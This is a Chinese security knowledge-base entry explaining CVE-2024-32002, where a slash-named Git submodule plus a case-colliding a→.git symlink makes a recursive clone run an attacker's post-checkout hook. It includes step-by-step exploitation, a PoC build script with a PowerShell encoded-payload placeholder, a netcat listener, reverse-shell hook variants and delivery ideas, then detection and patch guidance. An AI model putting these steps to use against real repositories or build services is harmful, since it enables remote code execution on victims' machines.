♧ Godown 安全知识树

恶意仓库子模块命名 + 大小写冲突符号链接 a→.git:递归克隆时被植入的 post-checkout 钩子以受害者权限执行(CVE-2024-32002)

pentest/initial-access · verified

一句话结论

攻击者在自己控制的 Git 托管服务上准备两个仓库:仓库 B 用一个名字含斜杠的子模块(x/y)指向仓库 A,并额外提交一个内容为 .git、模式 120000 的符号链接 a;在大小写不敏感的文件系统上,受害者执行递归克隆(git clone --recurse-submodules,或被这类「提交仓库 URL 后自动克隆编译」的服务代劳)时,A/modules/x 中的 A 会解析到符号链接 a,git 于是把子模块的 gitdir 与钩子写进被重定向的位置并执行仓库 A 里的 post-checkout,从而以受害者(或服务运行账户)权限执行任意命令。

原理

  • Git 客户端自身缺陷(CVE-2024-32002):递归克隆时 git 先克隆父仓库,再按 .gitmodules 把子模块克隆到工作树子目录,并为其在 .git/modules/<子模块名> 下建立独立 gitdir;这段逻辑对「子模块工作树路径」和「gitdir 路径」都没有做重解析点/大小写冲突校验。
  • 两个构造要素: 1. 子模块名带斜杠:git submodule add --name x/y <url-A> A/modules/x。子模块名 x/y 会被直接拼进 .git/modules/x/y 路径,使攻击者可预测并影响落盘位置;工作树路径则被指定为 A/modules/x,父目录名首字母 A 是攻击者特意选的。 2. 大小写冲突符号链接:父仓库再提交一个符号链接条目 a(printf ".git" | git hash-object -w --stdin,再用 printf "120000 %s 0\ta\n" + git update-index --index-info 写入索引),内容就是 .git。
  • 为什么会在受信任位置执行钩子:在 NTFS/APFS 等不区分大小写的文件系统上,子模块工作树路径里的 A 与仓库根的符号链接 a 被视为同一个名字。git 创建 A/modules/x 时实际穿过 a→.git 这层重解析点,子模块检出的文件(含攻击者准备的 y/hooks/post-checkout)因此落在 .git 之下被 git 自己当作钩子目录的位置;后续检出/切换分支时 git 运行 post-checkout,执行攻击者脚本。core.symlinks 在 Windows 上需要为 true(或系统允许符号链接)才会保留该 120000 条目。
  • 为什么编译/CI 服务也会中招:这类「提交 Git 仓库 URL,服务端替你 clone 再编译」的功能通常直接调用 git clone --recurse-submodules 并带凭据;攻击者只要把 URL 换成自己托管的仓库即可触发,执行身份是服务账户(本例为 Windows 上的本地用户),属于典型的不可信仓库克隆导致的 RCE,而不是需要受害者手动点开某个文件。

触发条件

  • 受害者(人或服务)对攻击者可控的仓库执行递归克隆:git clone --recurse-submodules、git clone --recursive,或带 submodule update --init --recursive 的检出流程。
  • 文件系统大小写不敏感(Windows/NTFS、macOS 默认 APFS 等),且 Git 会保留/创建符号链接(Windows 下 core.symlinks=true + 允许创建符号链接)。
  • 目标 Git 版本存在 CVE-2024-32002(未打 2024-05 补丁的 Git for Windows / libgit2 相关版本);原文未标注具体版本号,按「存在该 CVE 的客户端」评估。
  • 攻击者能在目标所用的 Git 服务上注册账号并创建两个仓库(或自建 HTTP Git 服务)。

利用步骤

  1. 在目标可达的 Git 服务(原文是自建 Gitea,http://<host>:3000)上注册账号,创建两个仓库:repo1(存放恶意钩子,如 abc/hook.git)与 repo2(投放仓库,如 abc/captain.git)。
  2. 克隆 repo1,写入钩子:mkdir -p y/hooks && cat > y/hooks/post-checkout(内容为反弹 shell / PowerShell 编码载荷),chmod +x 后 git add / commit / push。
  3. 克隆 repo2,git submodule add --name x/y <repo1 的 HTTP URL> A/modules/x,git commit -m add-submodule。
  4. 在同一 repo2 里构造符号链接条目:printf ".git" > dotgit.txt、git hash-object -w --stdin < dotgit.txt > dot-git.hash、printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info、git update-index --index-info < index.info、git commit -m add-symlink、git push。
  5. 在攻击机起监听(原文用 nc -lvp 9001)。
  6. 诱导受害者或「编译服务」递归克隆 repo2;原文是把 repo2 的 HTTP 地址提交到 5000 端口上的「Compile your code」输入框(该校验仅要求 URL 以 http:// 开头、以 .git 结尾)。
  7. 钩子执行后拿到会话:原文回连显示 uid=197610(Richard) ... C:\Users\Richard\source\cloned_repos\nkkgkn\.git\modules\x,即钩子工作目录位于 .git/modules/x,证实子模块内容被写进 gitdir。

PoC

原文给出可直接改 URL 使用的构建脚本(已省略其中的载荷内容与内网地址):

git config --global protocol.file.allow always
git config --global core.symlinks true
git config --global init.defaultBranch main

git clone http://<gitea>:3000/<user>/repo1.git && cd repo1
mkdir -p y/hooks
printf '#!/bin/sh\nexec powershell -e <BASE64_PAYLOAD>\n' > y/hooks/post-checkout
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout && git commit -m post-checkout && git push
cd ..

git clone http://<gitea>:3000/<user>/repo2.git && cd repo2
git submodule add --name x/y "http://<gitea>:3000/<user>/repo1.git" A/modules/x
git commit -m add-submodule
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m add-symlink
git push

手动等价验证(原文另附的手动流程):先建 repo1 并在 y/hooks/post-checkout 写入 bash 反弹 shell;再建 repo2 加入同一个子模块;创建 a → .git 符号链接后 push;受害者端克隆即可回连。PoC 未在本机执行。

变体与关联

  • 钩子类型不只 post-checkout:post-merge、post-index-change、pre-commit、core.hooksPath(.git/config 注入)都能达到同样效果;钩子内容可用 PowerShell 编码命令、bash 反弹 shell 或下载器。
  • 子模块名与路径变体:--name a/b 搭配工作树 A/...、多级 x/y/z、或改用目录符号链接而非文件符号链接;只要构造出大小写/重解析点冲突即可。
  • 投放方式变体:除了让受害者手动递归克隆,也可把它塞进「提交仓库 URL 自动编译/自动扫描/自动部署」的服务、CI 的 checkout 步骤、或诱导开发者 git clone --recursive 的 README 说明中。
  • 关联:[[pentest-recon-git-symlink-120000-sensitive-file-leak]](同为滥用 git 仓库内 120000 条目,但那条用于读取敏感文件而非执行)、[[cloud-cicd-github-actions-pull-request-target-checkout-rce]](不可信 PR/仓库在 CI 中被检出后执行)、[[pentest-lateral-movement-gitea-service-account-admin-reset-webhook-credential]](拿到 Gitea 运行账户后的后续利用)。
  • 边界:大小写敏感的文件系统(多数 Linux ext4)上该大小写冲突不成立;Git 打过 CVE-2024-32002 补丁后不再在克隆阶段执行被污染位置的钩子;如果目标服务禁止符号链接检出(core.symlinks=false),120000 条目会落地为普通文本文件,链失效。

检测与防御

  • 修复版本:Git for Windows 2.45.1 / 2.44.1 / 2.43.4 等 2024-05 安全版本修复 CVE-2024-32002;同时升级 libgit2 等内嵌实现。升级后仍应禁用不受信任的递归克隆。
  • 禁止全局放宽:不要在生产/CI 环境设置 protocol.file.allow always、core.symlinks=true 作为常态;只在明确需要时临时开启。
  • 服务侧加固:接受用户提交仓库 URL 的编译/扫描/部署服务应使用一次性容器、无凭据的网络隔离账户执行 clone,禁止 --recurse-submodules,或只允许已知子模块白名单;克隆产物不得与可执行钩子目录共处。
  • 检测信号:.gitmodules 中子模块名含 /、仓库索引里出现指向 .git 的 120000 条目(git ls-files -s | grep ^120000)、克隆过程出现对 .git/modules/* 之外路径的写入、git 进程拉起 sh.exe/powershell.exe/cmd.exe 的子进程链。
  • 主机监控:审计 post-checkout/post-merge 钩子的创建与执行,尤其是检出目录内新出现的可执行脚本;对由构建服务账户产生的交互式 shell 行为告警。